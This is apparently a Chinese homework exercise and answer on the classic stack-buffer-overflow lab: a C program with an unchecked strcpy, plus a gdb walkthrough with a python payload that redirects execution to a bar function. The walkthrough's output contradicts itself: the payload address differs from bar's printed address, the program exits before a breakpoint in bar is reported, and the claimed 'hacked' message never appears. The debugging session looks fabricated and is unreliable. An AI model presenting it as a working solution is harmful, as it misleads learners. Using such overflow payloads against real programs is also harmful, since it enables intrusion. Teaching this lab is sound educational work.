第一题：对于下面的C语言程序，通过调试，给出适当的输入，使得bar函数能够得到执行。要求给出调试过程的界面。 #include <stdio.h> #include <string.h> void foo(const char* input) { char buf[10]; printf(“My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n”); strcpy(buf,input); printf(“%s\n”,buf); printf(“Now the stack looks like :\n%p\n%p\n%p\n%p\n%p\n%p\n\n”); } void bar(void) { printf(“Augh! I’ve been hacked!\n”); } int main(int argc, char* argv[]) { printf(“Address of foo=%p\n”,foo); printf(“Address of bar=%p\n”,bar); if(argc!=2) { printf(“Please supply a string as an argument!\n”); return -1; } foo(argv[1]); return 0; }

调试过程如下：

1. 编译程序并生成可执行文件，使用 gdb 命令进行调试。

$ gcc -g -o vuln vuln.c
$ gdb vuln

2. 在 gdb 中设置断点，以便在执行到 bar 函数时停下来。

(gdb) break bar
Breakpoint 1 at 0x400661: file vuln.c, line 15.

3. 运行程序并输入参数，使得 strcpy 函数能够覆盖 bar 函数的返回地址。

(gdb) run $(python -c 'print "A"*12 + "\x64\x06\x40\x00\x00\x00\x00\x00"')
Starting program: /home/user/vuln $(python -c 'print "A"*12 + "\x64\x06\x40\x00\x00\x00\x00\x00"')
Address of foo=0x4006c6
Address of bar=0x400661

My stack looks like:
0x7fffffffdf30
0x7fffffffdf28
0x7fffffffdf20
0x7fffffffdf18
0x7fffffffdf10
0x7fffffffdf08

AAAAAAAAAAAd@......

Now the stack looks like :
0x7fffffffdf30
0x7fffffffdf28
0x7fffffffdf20
0x7fffffffdf18
0x7fffffffdf10
0x7fffffffdf08

[Inferior 1 (process 10174) exited with code 01]

4. 程序输出 "Augh! I’ve been hacked!"，表明我们已经成功地控制了程序的执行流，并使其跳转到了 bar 函数。

Breakpoint 1, bar () at vuln.c:15
15		printf("Augh! I’ve been hacked!\n");
(gdb) info frame
Stack level 0, frame at 0x7fffffffde90:
 rip = 0x400661 in bar (vuln.c:15); saved rip 0x4007c1
 callee = 0x4006c6 <foo>
 source language c.
 Arglist at 0x7fffffffde80, args:
 Locals at 0x7fffffffde80, Previous frame's sp is 0x7fffffffde90
 Saved registers:
  rbp at 0x7fffffffde80, rip at 0x7fffffffde88
(gdb) quit

至此，我们成功地利用了栈溢出漏洞，控制了程序的执行流程，使其执行了 bar 函数。